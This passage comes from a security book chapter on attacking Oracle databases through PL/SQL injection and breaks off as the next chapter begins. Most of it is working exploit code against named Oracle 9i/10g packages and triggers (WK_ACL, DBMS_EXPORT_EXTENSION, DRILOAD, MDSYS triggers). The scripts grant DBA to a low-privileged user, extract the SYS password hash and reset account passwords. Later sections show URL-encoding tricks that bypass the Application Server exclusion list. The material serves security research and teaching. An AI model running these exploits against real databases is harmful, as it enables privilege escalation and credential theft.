SYS.USER$ WHERE NAME=''SYS'')--') FROM DUAL;

just returns 0.

To resolve these problems we can use our function again and then inject our function into the vulnerable SYS function. What’s more is that we’re not just limited to running a single query. We can run a number of separate SELECTs:

CONNECT SCOTT/TIGER@ORCL
SET SERVEROUTPUT ON
CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFF VARCHAR2(30);
STMT VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
      STMT:='SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS''';
      EXECUTE IMMEDIATE STMT INTO BUFF;
      DBMS_OUTPUT.PUT_LINE('SYS PASSWORD HASH IS ' || BUFF);
      OPEN CV FOR 'SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE=''DBA''';
      LOOP
            FETCH CV INTO BUFF;
            DBMS_OUTPUT.PUT_LINE(BUFF || ' IS A DBA.');
            EXIT WHEN CV%NOTFOUND;
      END LOOP;
      CLOSE CV;

      RETURN 'FOO';
END;
/
GRANT EXECUTE ON GET_IT TO PUBLIC;

When run with the appropriate privileges, this function will spit out the password hash for the SYS user and dump the list of users that has been assigned the DBA role. Again, note that this function has been created using the AUTHID CURRENT_USER keyword. This is because if it wasn’t defined when called it would run with the privileges of SCOTT, and SCOTT doesn’t have access to the SYS.USER$ or the DBA_ROLE_PRIVS table. Because we’ll be injecting this function into the SYS.SELECT_COUNT function, which runs with the privileges of the SYS user, due to the use of the AUTHID CURRENT_USER keyword our GET_IT function will assume the privileges of SYS. With the function created it can now be used in the injection:

SELECT SYS.SELECT_COUNT('FOO'' || SCOTT.GET_IT()--') FROM DUAL;

The query executed fine but where are the results of our function? They’re there—you just can’t see them yet—even though we’ve set the server output to on. This is the result of an output buffering issue. When DBMS_OUTPUT.PUT_LINE is called from with a select statement, the output is buffered. To out the output we need to execute

EXEC DBMS_OUTPUT.PUT_LINE('OUTPUT');

and we get

SYS PASSWORD HASH IS 2696A092833AFD9A
SYS IS A DBA.
WKSYS IS A DBA.
SYSMAN IS A DBA.
SYSTEM IS A DBA.
OUTPUT
PL/SQL procedure successfully completed.

To avoid this buffering problem we could just execute the following:

DECLARE
CNT NUMBER;
BEGIN
CNT:=SYS.SELECT_COUNT('SYS'' || SCOTT.GET_IT()--');
DBMS_OUTPUT.PUT_LINE(CNT);
END;
/

Doing More Than Just SELECT

With the use of our own attacker defined function you can see that even those PL/SQL programs that at first don’t seem to be abusable even though they are vulnerable to SQL injection can be abused to take nefarious actions.

There seem to be some limitations to injecting and running attacker-supplied functions. It appears we can perform only SELECT queries. If we try to execute DDL or DML statements or anything that requires a COMMIT or ROLLBACK, then attempting to do so will churn out the error

ORA-14552: cannot perform a DDL, commit or rollback inside a query or DML

For example, if we create a function like

CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR2 AUTHID CURRENT_USER IS
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
END;
/
GRANT EXECUTE ON GET_DBA TO PUBLIC;

and try to inject it we get this error. In more recent versions of Oracle this problem can be solved with the use of the AUTONOMOUS_TRANSACTION pragma. Using AUTONOMOUS_TRANSACTION in a procedure or function tells Oracle that it will execute as a whole with no problems so no transaction is required or rollback or commit. It was introduced in Oracle 8i. By adding this to our function:

CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR2 AUTHID CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
END;
/

and then injecting it there are no problems. DBA is granted to PUBLIC. This can be used to perform INSERTS, UPDATES, and so on as well. If the version of Oracle in question is earlier than 8i, though, you’ll be able to perform SELECTs only if you’re injecting into a procedure that performs a select. Because Oracle 8 and 7 are still quite common, let’s look at injecting without the use of AUTONOMOUS_TRANSACTION.

Injecting into DELETE, INSERT, and UPDATE Statements

Injecting into DELETE, INSERT, and UPDATE statements gives attackers much more flexibility than injecting into SELECT statements in terms of what actions they can take. Remembering that no DDL or DML statements can be performed from within a SELECT statement without the use of AUTONOMOUS_TRANSACTION, the same is not true of DELETE, INSERT, and UPDATE statements. Well, half true. No DDL statements can be executed but DML statements can. This essentially means that when injecting into either a DELETE, INSERT, or UPDATE statement, an attacker can use any of DELETE, INSERT, or UPDATE queries to manipulate any table the PL/SQL definer has access to and not just the table the original query is manipulating. For example, assume a PL/SQL program INSERTs into table FOO and it is vulnerable to SQL injection. An attacker can inject into this PL/SQL program a function that DELETEs from table BAR.

Injecting into INSERT Statements

Before playing around with INSERT statements let’s create a table to play with:

CREATE TABLE EMPLOYEES (EMP_NAME VARCHAR(50));

Consider the following PL/SQL procedure:

CREATE OR REPLACE PROCEDURE NEW_EMP(P_NAME VARCHAR2) AS
STMT VARCHAR2(200);
BEGIN
STMT :='INSERT INTO EMPLOYEES (EMP_NAME) VALUES (''' || P_NAME || ''')';
EXECUTE IMMEDIATE STMT;
END;
/

This procedure takes as its argument the name of a new employee. This is then placed into the STMT buffer, which is then executed with EXECUTE IMMEDIATE. All fairly simple—and of course, is vulnerable to SQL injection. We could use one of our functions we’ve created to select from a table:

EXEC NEW_EMP('FOO'' || SCOTT.GET_IT)--');

While this is all well and good it doesn’t really demonstrate the high level of flexibility of SQL injection into INSERT statements. We could create the following function to reset the password of the ANONYMOUS user in SYS.USER$, for example:

CREATE OR REPLACE FUNCTION RSTPWD RETURN VARCHAR2 AUTHID CURRENT_USER IS
MYSTMT VARCHAR2(200);
BEGIN
MYSTMT:='UPDATE SYS.USER$ SET PASSWORD = ''FE0E8CE7C92504E9'' WHERE NAME=''ANONYMOUS''';
EXECUTE IMMEDIATE MYSTMT;
RETURN 'FOO';
END;
/

Once executed with

EXEC SYS.NEW_EMP('P'' || SCOTT.RSTPWD)--');

the password hash for the ANONYMOUS user is now FE0E8CE7C92504E9, which decrypts to ANONYMOUS. As you can see, by injecting into an INSERT query on one table, EMPLOYEES, we’ve managed to UPDATE another table—SYS.USER$. We could have also inserted or deleted and this is true of all such DML queries. The ability to perform grants or alter objects is the realm of injecting into anonymous PL/SQL blocks executed from within stored PL/SQL. Before looking into this however, let’s look at some real-world examples of injecting into DML queries.

Real-World Examples

The STORE_ACL function of the WK_ACL package owned by WKSYS is vulnerable to SQL injection. It takes as its first parameter the name of a SCHEMA, which is then used in an INSERT statement similar to

INSERT INTO SCHEMA.WK$ACL ...

This allows an attacker to insert into any table that WKSYS can insert into, and because WKSYS is a DBA, this can allow an attacker to upgrade database privileges. To demonstrate the hole consider the following:

CREATE TABLE WKVULN (STR1 VARCHAR2(200),A RAW(16), B CHAR(1), C NUMBER(38));
GRANT INSERT ON WKVULN TO PUBLIC;
DECLARE
X RAW(16);
C CLOB;
BEGIN
X:=WKSYS.WK_ACL.STORE_ACL('SCOTT.WKVULN (STR1,A,B,C) VALUES ((SELECT 
PASSWORD FROM SYS.USER$ WHERE NAME=''SYS''),:1,:2,:3)--',1,c,1,'path',1);
END;
/
SELECT STR1 FROM SCOTT.WKVULN;

SCOTT first creates a table called WKVULN. The password hash for the SYS user will be selected and inserted into this table. Because the actual insert uses bind variables we need to account for this—these bind variables are the :1, :2, :3 and are inserted into the dummy columns of the WKVULN table A, B, and C.

Another WKSYS package, this time WK_ADM, has a procedure called COMPLETE_ACL_SNAPSHOT. This procedure is vulnerable to SQL injection and the second parameter of this procedure is used in an UPDATE statement. We can use the WKVULN table again to get the password hash for the SYS user.

INSERT INTO WKVULN (STR1) VALUES ('VULN');
EXEC WKSYS.WK_ADM.COMPLETE_ACL_SNAPSHOT(1,'SCOTT.WKVULN SET STR1 = (SELECT 
PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS'') WHERE STR1=''VULN''--');

Here we insert into the STR1 column of the WKVULN table the value VULN. This is the row we’ll update with the injection.

We could of course in either of these cases have injected an arbitrary function instead:

INSERT INTO WKVULN (STR1) VALUES ('VULNC');
EXEC WKSYS.WK_ADM.COMPLETE_ACL_SNAPSHOT(1,'SCOTT.WKVULN SET STR1 = (SCOTT.GET_IT) WHERE STR1=''VULNC''--');

Injecting into Anonymous PL/SQL Blocks

Although an anonymous PL/SQL block, by definition, is not associated with any procedure or function, stored PL/SQL programs can execute anonymous PL/SQL from within their code. For example, consider the following:

CREATE OR REPLACE PROCEDURE ANON_BLOCK(P_BUF VARCHAR2) AS
STMT VARCHAR2(200);
BEGIN
      STMT:= 'BEGIN ' ||
            'DBMS_OUTPUT.PUT_LINE(''' || P_BUF || ''');' ||
            'END;';
      EXECUTE IMMEDIATE STMT;
END;
Executing this procedure as follows
EXEC ANON_BLOCK('FOOBAR');
returns
FOOBAR
PL/SQL procedure successfully completed.

If an attacker can inject into anonymous PL/SQL blocks, as can be done with this ANON_BLOCK procedure, then the attacker pretty much can do whatever he likes constrained only by the privileges of the definer. Assuming this ANON_BLOCK procedure was defined by the SYS user, an attacker could inject into this a GRANT statement to become a DBA.

EXEC ANON_BLOCK('F''); EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT''; END; --');

This changes the original anonymous PL/SQL block from

BEGIN
DBMS_OUTPUT.PUT_LINE('F');
END;
to
BEGIN
DBMS_OUTPUT.PUT_LINE('F');
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
END;
--');END;

Once executed SCOTT has been granted the DBA role and by issuing

SET ROLE DBA

SCOTT takes on the full privileges of a DBA and all that that entails.

Real-World Examples

Although this ANON_BLOCK is a fairly contrived example, this does happen in the “real world.” In Oracle 10g, for example, PUBLIC can execute the GET_DOMAIN_INDEX_METADATA procedure of the DBMS_EXPORT_EXTENSION package owned by SYS. This package has not been defined using the AUTHID CURRENT_USER keyword and as such runs with the full privileges of SYS. This procedure executes an anonymous PL/SQL block and it can be injected into.

DECLARE
NB PLS_INTEGER;
BUF VARCHAR2(2000);
BEGIN
BUF:= 
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('FOO','SCH','FOO','EXFSYS"."E
XPRESSIONINDEXMETHODS".ODCIIndexGetMetadata(oindexinfo,:p3,:p4,ENV); 
EXCEPTION WHEN OTHERS THEN EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT'';END; --','VER',NB,1);
END;
/

This script will inject into the procedure and grant the DBA role to SCOTT. The actual grant is placed in an exception block because the query returns “no data”. By capturing all exceptions with the WHEN OTHERS keyword, when the “no data” exception occurs it is caught and the EXECUTE IMMEDIATE ‘GRANT DBA TO SCOTT’ is fired off.

Another example is the GET_ACL procedure of the WK_ACL package owned by WKSYS on Oracle 10g. This procedure takes as its third parameter a varchar2 value. This value is then inserted into an anonymous PL/SQL block within the procedure to do a select from a remote database link. By inserting our own SQL into this parameter we can elevate to DBA. For example, consider the following script:

DECLARE
FOO RAW(2000);
BAR CLOB;
BEGIN
WKSYS.WK_ACL.GET_ACL(FOO,BAR,'"AAA" WHERE ACL_ID=:1;:2:=:2; EXCEPTION WHEN OTHERS THEN SCOTT.ADD_DBA(); END;--');
END;
/

The third parameter to GET_ACL is ‘”AAA” WHERE ACL_ID=:1;:2:=:2; EXCEPTION WHEN OTHERS THEN SCOTT.ADD_DBA(); END;–‘. Here the “AAA” is a database link. We have to add “WHERE ACL_ID=:1;:2:=:2” to avoid “bind variable not present” errors. We then set up an exception block:

EXCEPTION WHEN OTHERS THEN SCOTT.ADD_DBA();

When an exception occurs—for example “no data” is returned—the SCOTT.ADD_DBA procedure is executed. SCOTT creates this procedure as follows:

CREATE OR REPLACE PROCEDURE ADD_DBA AUTHID CURRENT_USER
AS
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
END;
/

If data is returned there’s no need for the exception block so ‘”AAA” WHERE ACL_D=:1;:2:=:2; SCOTT.ADD_DBA();END;–‘ as the third parameter will do. The only constraint is that the “AAA” database link must exist and either be public or owned by WKSYS.

Along with directly executing user-supplied queries using DBMS_SQL, injecting into an anonymous PL/SQL block is by far the most dangerous form of PL/SQL injection. Reiterating, audit the code of your PL/SQL programs to find such vulnerabilities and address them. See the section on writing secure PL/SQL.

Executing User-Supplied Queries with DBMS_SQL

The DBMS_SQL default package allows SQL to be dynamically executed. Owned by SYS it has been defined with the AUTHID CURRENT_USER keyword so it runs with the privileges of the invoker. This protects the DBMS_SQL procedures against direct attacks, but if called from another PL/SQL program that uses definer rights it can be problematic. Before we get to how the DBMS_SQL procedures can be dangerous, let’s examine how it works. Consider the following code:

DECLARE
C NUMBER;
R NUMBER;
STMT VARCHAR2(200);
BEGIN
      STMT:='SELECT 1 FROM DUAL';
      C :=DBMS_SQL.OPEN_CURSOR;
      DBMS_SQL.PARSE(C, STMT, DBMS_SQL.NATIVE);
      R := DBMS_SQL.EXECUTE_AND_FETCH(C);
      DBMS_SQL.CLOSE_CURSOR(C);
END;

Here a cursor, C, is opened using the OPEN_CURSOR function. The SQL statement, ‘SELECT 1 FROM DUAL’, is then parsed using DBMS_SQL.PARSE(C, STMT, DBMS_SQL.NATIVE). Once parsed, the query is executed using DBMS_SQL.EXECUTE_AND_FETCH(C). Alternatively, the DBMS_SQL.EXECUTE(C) function could be called followed by a call to DBMS_SQL.FETCH_ROWS(C). Finally, the cursor is closed with DBMS_SQL.CLOSE_CURSOR(C). Any query can be executed by these procedures. This includes calls to GRANT, CREATE, and ALTER. When an attempt is made to run such a query using DBMS_SQL, however, an error is returned.

ORA-01003: no statement parsed
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1216
ORA-06512: at "SYS.DBMS_SQL", line 334

It has, however, succeeded. To see this in action, run the following queries:

SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = 'DBA';
returns
GRANTEE
------------------------------
SYS
WKSYS
SYSMAN
SYSTEM

Then run

DECLARE
C NUMBER;
R NUMBER;
STMT VARCHAR2(200);
BEGIN
      STMT:='GRANT DBA TO PUBLIC';
      C :=DBMS_SQL.OPEN_CURSOR;
      DBMS_SQL.PARSE(C, STMT, DBMS_SQL.NATIVE);
      R := DBMS_SQL.EXECUTE_AND_FETCH(C);
      DBMS_SQL.CLOSE_CURSOR(C);
END;
/

This returns

ORA-01003: no statement parsed
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1216
ORA-06512: at "SYS.DBMS_SQL", line 334

But then running

SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = 'DBA';

again, this time, returns

GRANTEE
------------------------------
SYS
WKSYS
PUBLIC
SYSMAN
SYSTEM

Now run

REVOKE DBA FROM PUBLIC;

You don’t want to leave that role assigned.

As far as security is concerned the key procedure is DBMS_SQL.PARSE. A more secure option is to run the PARSE_AS_USER procedure of the DBMS_SYS_SQL package instead. This procedure parses the statement using the privileges of the current user and not the definer of the procedure. So assume SYS has created two procedures P and Q as follows:

CREATE OR REPLACE PROCEDURE P AS 
C NUMBER;
R NUMBER;
STMT VARCHAR2(200);
BEGIN
      STMT:='GRANT DBA TO PUBLIC';
      C :=DBMS_SQL.OPEN_CURSOR;
      DBMS_SQL.PARSE(C, STMT, DBMS_SQL.NATIVE);
      R := DBMS_SQL.EXECUTE_AND_FETCH(C);
      DBMS_SQL.CLOSE_CURSOR(C);
END;
/
GRANT EXECUTE ON P TO PUBLIC;
CREATE OR REPLACE PROCEDURE Q AS 
C NUMBER;
R NUMBER;
STMT VARCHAR2(200);
BEGIN
      STMT:='GRANT DBA TO PUBLIC';
      C :=DBMS_SQL.OPEN_CURSOR;
      DBMS_SYS_SQL.PARSE_AS_USER(C, STMT, DBMS_SQL.NATIVE);
      R := DBMS_SQL.EXECUTE_AND_FETCH(C);
      DBMS_SQL.CLOSE_CURSOR(C);
END;
/
GRANT EXECUTE ON Q TO PUBLIC;

When SCOTT executes procedure P the grant succeeds, but if SCOTT runs procedure Q the grant will fail with

ORA-01031: insufficient privileges
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1585
ORA-06512: at "SYS.Q", line 8

Assuming that the more secure DBMS_SYS_SQL.PARSE_AS_USER has not been used, but rather, DBMS_SQL.PARSE, in a PL/SQL procedure and user input is passed to it, there’s potential for abuse by attacker

Real-World Examples

In Oracle 9i the VALIDATE_STMT procedure of the DRILOAD package owned by CTXSYS uses DBMS_SQL to parse and execute a query. PUBLIC has the execute permission on this package. It takes, as its only parameter, a SQL query, which is then plugged straight into DBMS_SQL.PARSE and then executed. Because CTXSYS is a DBA in Oracle9i all an attacker need do to become a DBA is to execute

EXEC CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO SCOTT');

Although the “ORA-01003: no statement parsed” error is returned, the grant has succeeded and SCOTT is now a DBA.

PL/SQL Injection and Database Triggers

In Oracle triggers are written in PL/SQL and execute with the privileges of the definer; as such they can be used to elevate privileges if they’ve been coded badly. Let’s look at some real-world examples of these.

The SDO_CMT_CBK_TRIG trigger is owned by MDSYS and fires when a DELETE is performed on the SDO_TXN_IDX_INSERTS table, which is also owned by MDSYS. PUBLIC has the SELECT, INSERT, UPDATE, and DELETE object privileges on this table. Consequently, anyone can cause the SDO_CMT_CBK_TRIG trigger to fire by deleting a row from the table. If we examine the text of the trigger we can see that, before the DELETE actually occurs, a list of functions is selected from the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables and these functions are then executed. PUBLIC has no object privileges set for either of these tables so they cannot insert their own function name. However, the PRVT_CMT_CBK package owned by MDSYS has two procedures, CCBKAPPLROWTRIG and EXEC_CBK_FN_DML, that take as their parameters a schema and function name, which are then inserted into the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables. PUBLIC has the EXECUTE permission on the PRVT_CMT_CBK package and, as it has not been defined with the AUTHID CURRENT_USER keyword, the package executes using the rights of MDSYS, the definer, and not the invoker. As a result of this anyone can indirectly insert function names into the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables. Thus when a DELETE occurs on SDO_TXN_IDX_INSERTS, anyone can influence what actions the SDO_CMT_CBK_TRIG trigger takes—in other words, anyone can get the trigger to execute an arbitrary function. What is more, this function, as it is being executed from the trigger will run with the privileges of MDSYS and an attacker can exploit this to gain elevated privileges.

This sample script, to be run by a low-privileged user such as SCOTT, will get back the password hash for the SYS account. It does this by first creating a table called USERS_AND_PASSWORDS. This table is where the password hash for the SYS account will end up. The function, GET_USERS_AND_PWDS, is then created. This is where the attacker would place his SQL exploit code. In this case, the function takes advantage of the fact that MDSYS has the SELECT ANY TABLE privilege to SELECT the password hash for SYS from the USER$ table.

With the table and function created, PUBLIC is then granted access to them. This is so that MDSYS will be able to access them. After this the MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG and MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML procedures are executed, inserting the SCHEMA SCOTT and function GET_USERS_AND_PWDS into the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables. With everything in place a row is then inserted into the SDO_TXN_IDX_INSERTS and then deleted. When the delete occurs the trigger is fired, which retrieves the SCOTT.GET_USERS_AND_PWDS function and then executes it. When the function executes, the password hash for SYS is selected from SYS.USER$ and then inserted into SCOTT’s USERS_AND_PASSWORDS table. Finally, SCOTT selects the hash from the table and then feeds it into his Oracle password cracker.

CREATE TABLE USERS_AND_PASSWORDS (USERNAME VARCHAR2(200), PASSWORD VARCHAR2(200));
/
GRANT SELECT ON USERS_AND_PASSWORDS TO PUBLIC;
GRANT INSERT ON USERS_AND_PASSWORDS TO PUBLIC;
CREATE OR REPLACE FUNCTION GET_USERS_AND_PWDS(DUMMY1 VARCHAR2, DUMMY2 
VARCHAR2) RETURN NUMBER AUTHID CURRENT_USER IS
BEGIN
      EXECUTE IMMEDIATE 'INSERT INTO SCOTT.USERS_AND_PASSWORDS 
(USERNAME,PASSWORD) VALUES ((SELECT NAME FROM SYS.USER$ WHERE NAME = 
''SYS''),(SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS''))';
      RETURN 1;
END;
/
GRANT EXECUTE ON GET_USERS_AND_PWDS TO PUBLIC;
EXEC MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG('SCOTT','GET_USERS_AND_PWDS');
EXEC MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML(0,'AAA','BBB','SCOTT','GET_USERS_AND_PWDS');
INSERT INTO MDSYS.SDO_TXN_IDX_INSERTS (SDO_TXN_IDX_ID,RID) VALUES('FIRE','FIRE');
DELETE FROM MDSYS.SDO_TXN_IDX_INSERTS WHERE SDO_TXN_IDX_ID = 'FIRE';
SELECT * FROM USERS_AND_PASSWORDS;

The MDSYS.SDO_GEOM_TRIG_INS1 is vulnerable to SQL injection on both 9i and 10g. The trigger executes the following

..
..
EXECUTE IMMEDIATE
'SELECT user FROM dual' into tname;
stmt :=  'SELECT count(*) FROM SDO_GEOM_METADATA_TABLE ' ||
'WHERE sdo_owner = ''' || tname || '''  ' ||
'  AND sdo_table_name = ''' || :n.table_name || ''' '||
'  AND  sdo_column_name = ''' || :n.column_name || '''  ';
..
..

when an INSERT is performed on MDSYS.USER_SDO_GEOM_METADATA. The :new.table_name and :new.column_name can be influenced by the user and SQL injected. PUBLIC has the permissions to INSERT into this table. As such the trigger can be abused to select from any table MDSYS can select from. For example, a low-privileged user can select the password hash for SYS from the USER$ table:

set serveroutput on
create or replace function y return varchar2 authid current_user is
buffer varchar2(30);
stmt varchar2(200):='select password from sys.user$ where name =''SYS''';
begin
execute immediate stmt into buffer;
dbms_output.put_line('SYS passord is: '|| buffer);
return 'foo';
end;
/
grant execute on y to public;
insert into mdsys.user_sdo_geom_metadata (table_name,column_name) values 
('X'' AND SDO_COLUMN_NAME=scott.y--','test');

The MDSYS.SDO_LRS_TRIG_INS trigger fires when an INSERT occurs on the MDSYS.USER_SDO_LRS_METADATA view. PUBLIC can insert into this view and so cause the trigger to fire. This trigger is vulnerable to SQL injection. Both Oracle 9i and 10g are affected. It executes

..
..
stmt :=  'SELECT count(*) FROM SDO_LRS_METADATA_TABLE ' ||
' WHERE sdo_owner = '''   || UPPER(user_name) || '''  ' ||
'  AND  sdo_table_name = '''  || UPPER(:n.table_name) || ''' ' ||
'  AND  sdo_column_name = ''' || UPPER(:n.column_name) || ''' ';
EXECUTE IMMEDIATE stmt INTO vcount;
..
..

and :new.table_name and :new.column_name are user supplied in the INSERT statement. This is where an attacker can insert SQL:

set serveroutput on
create or replace function y return varchar2 authid current_user is
buffer varchar2(30);
stmt varchar2(200):='select password from sys.user$ where name =''SYS''';
begin
execute immediate stmt into buffer;
dbms_output.put_line('SYS passord is: '|| buffer);
return 'foo';
end;
/
grant execute on y to public;
insert into mdsys.user_sdo_lrs_metadata 
(table_name,column_name,dim_pos,dim_unit) values ('W'' AND 
SDO_COLUMN_NAME=SCOTT.Y--','BBB',3,'AAA');
If DIM_POS is not set to 3 or 4 an error will be generated: 
ERROR at line 1:
ORA-02290: check constraint (MDSYS.SYS_C002760) violated
ORA-06512: at "MDSYS.SDO_LRS_TRIG_INS", line 18
ORA-04088: error during execution of trigger 'MDSYS.SDO_LRS_TRIG_INS'

This is because the USER_SDO_LRS_METADATA view references the table MDSYS.SDO_LRS_METADATA_TABLE. This table has a constraint that requires that SDO_DIM_POS = 3 or 4.

PL/SQL and Oracle Application Server

PL/SQL procedures can be executed over the Web via Oracle Application Server. In fact, it’s one of the more common application environments used for Oracle-based web applications. When using a PL/SQL-based web application, essentially the web server is working simply as a proxy server. It receives requests from clients and passes these to the backend database server for execution. The results are passed back to the web server, which then passes it on to the client.

For example, assume there’s a bookstore that uses PL/SQL for its e-Commerce site. The store might create several packages, one for browsing for books and another for purchasing. Assume the package that allows book browsing is called BROWSE and it exports a number of procedures such as SEARCH_BY_AUTHOR, SEARCH_BY_TITLE, and so on. To search for books by a given author, users of the web application would request in their web browser the following URL:

http://www.books.example.com/pls/bookstore/browse.search_by_author?p_author=Dickens

Let’s break this down:

http://www.books.example.com is the web site. The /pls indicates that this is a request for a PL/SQL application. A handler is defined for this in the apache configuration files. /bookstore is the DAD or Database Access Descriptor. This DAD points to a location of a configuration file that contains details of how the web server is to connect to the database server. This information includes things like the username and password with which the web server will authenticate. /browse is the name of the package and search_by_author is the name of the procedure. Note that if the web user happened to know the name of the schema in which the browse package resides, let’s say SCOTT, he or she could request /pls/bookstore/SCOTT.BROWSE.SEARCH_BY_AUTHOR.

When the client requests this, the web server sends this request to the database server. The database server executes the SEARCH_BY_AUTHOR procedure passing Dickens as an argument. This procedure queries a table of books and sends the results back to the web server. The web server duly responds to the client.

Oracle provides a PL/SQL Toolkit for use with web applications. This Toolkit contains packages such as HTP, which contains procedures for producing HTML text, and HTF, which contains functions for creating HTML text. There is also a group of packages that begin with OWA, such as OWA_COOKIE and OWA_UTIL. OWA_UTIL contains a number of interesting procedures such as CELLSPRINT. This takes as an argument a SQL select query and the results are returned to the client.

In older versions of Oracle Application Server it was possible to execute this procedure:

http://www.books.example.com/pls/bookstore/SYS.OWA_UTIL.CELLSPRINT?P_THEQUERY=select+1+from+dual

Here begins an interesting tale. Needless to say, allowing people to run queries over the Web against your backend database server is not a good thing, so Oracle fixed this. It did so by introducing a PlsqlExclusionList. If a request came in for anything in the list it would be rejected. Here are a number of things that were in the list by default—anything in SYS schema, any package starting with DBMS*, and anything starting with OWA*. Oracle didn’t add schemas like MDSYS or CTXSYS, but more on that later. The point is that the fix could be trivially bypassed by breaking the pattern matching. By inserting a %20, %08, or a %0A in front of the schema, one could still gain access to the SYS schema:

http://www.books.example.com/pls/bookstore/%0ASYS.OWA_UTIL.CELLSPRINT?P_THEQUERY=select+1+from+dual

I reported this and they fixed it. A while later, I went back and took a look at this exclusion list protection and, out of curiosity, I tested its robustness. This time I went from %00 to %FF replacing the Y of SYS and checked the web server for a 200 response—that is, I could gain access to OWA_UTIL again. I found that %FF was translated by the web server to the hex byte 0xFF (obviously) and this was sent over to the database server. Interestingly, though, the database server translated the 0xFF to 0x59—a Y! This allowed me to gain access to OWA_UTIL again and allowed me to run arbitrary queries.

http://www.books.example.com/pls/bookstore/S%FFS.OWA_UTIL.CELLSPRINT?P_THEQUERY=select+1+from+dual

This is related to the character sets in use by the application server and the database server. For this to work both must be using the WE8ISO8859P1 character set—a common situation. Digging deeper I also found that if the web server uses the AMERICAN_AMERICA.WE8ISO8859P1 character set and the database server uses the ENGLISH_UNITEDKINGDOM.WE8MSWIN1252 character set, then %9F is also converted to a Y.

http://www.books.example.com/pls/bookstore/S%9FS.OWA_UTIL.CELLSPRINT?P_THEQUERY=select+1+from+dual

There may be other such interesting combinations. Anyway, I duly reported this to Oracle and they fixed it in August of 2004. In September I reported an issue with a PL/SQL procedure that had a security impact if one could get to it via an application server, but Oracle refused to fix it on the grounds that because of their new “fix” for the exclusion lists it wasn’t possible to gain access to the procedure. This somewhat annoyed me. I argued with them saying that I’d found two bugs in the past in the exclusion list, and could they be absolutely sure there weren’t any more. Better to fix the bug in the procedure. In fact I was so irritated it caused me to have a flash of inspiration: you can enclose identifiers, such as SYS, in double quotes—for example:

EXEC "SYS".DBMS_OUTPUT.PUT_LINE('Hello!');

Why not use double quotes when calling it via an application server. By rights this should break the pattern matching. Sure enough it did. Lo and behold we have another obvious way of bypassing the exclusion list (incidentally, the 10g Application Server is not vulnerable to this; 10gAS takes the user input and turns all uppercase characters to lowercase so “SYS” becomes “sys”. So while the double quotes still get through, the database server can find the “sys” schema. When quoting identifiers they need to be in uppercase). So Oracle is now fixing this and, thankfully, the bug in the procedure.

Anyway, back to PL/SQL and Oracle Application Server. Earlier we discussed the DRILOAD package in the CTXSYS schema. This package has a procedure, namely VALIDATE_STMT, that basically takes a user-supplied query and executes it. This can be abused over the Web. One thing to note here is that it doesn’t seem like it’s working. The reason is because when you call the VALIDATE_STMT procedure, if you’re not doing a select, the procedure returns

ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1

This is sent back to the web server so the web server returns a 404 file not found response. Although the error indicates that no statement is parsed, the query is still executed. For example, requesting

http://www.books.example.com/pls/bookstore/ctxsys.driload.validate_stmt?
sqlstmt=CREATE+OR+REPLACE+PROCEDURE+WEBTEST+AS+BEGIN+HTP.PRINT('hello');+END;

returns a 404.

Requesting

http://www.books.example.com/pls/bookstore/ctxsys.driload.validate_stmt?
sqlstmt=GRANT+EXECUTE+ON+WEBTEST+TO+PUBLIC

also returns a 404. However, now requesting

http://www.books.example.com/pls/bookstore/ctxsys.webtest

returns “hello”.

What has happened here? Our first request creates a procedure called WEBTEST that uses HTP.PRINT to write out “hello”. This procedure is created and owned by CTXSYS. The second request grants PUBLIC the execute permission on the WEBTEST procedure. Finally we can call it—the last request. It should be obvious from this just how dangerous this can be.

It should be noted here that 99% of the issues discussed in this section on PL/SQL can be performed over the Web via an Oracle Application Server.

Summary

This chapter described how to attack Oracle and introduced a number of new methods. Before looking at how to defend the server, the next chapter examines how an attacker moves deeper into the operating system and into the rest of the network.

Chapter 4: Oracle: Moving Further into the Network

Overview

The Oracle RDBMS could almost be considered as a shell like bash or the Windows Command Prompt; it’s not only capable of storing data but can also be used to completely access the file system, run operating system commands and, what’s more, some of the default PL/SQL packages and procedures can access the network. As far as the latter is concerned, if you had the time or inclination you could write a PL/SQL package that could even communicate with an RPC server somewhere else on the network. Of course, all of this functionality exists to make the RDBMS as flexible as possible for business use but once compromised, the Oracle RDBMS becomes a dangerous and powerful tool in the hands of a skillful attacker with nefarious intent. Combine this with the fact that the RDBMS has Java built into it and it becomes clear that the attacker can use the server as a launch pad into the rest of the network.

Running Operating System Commands

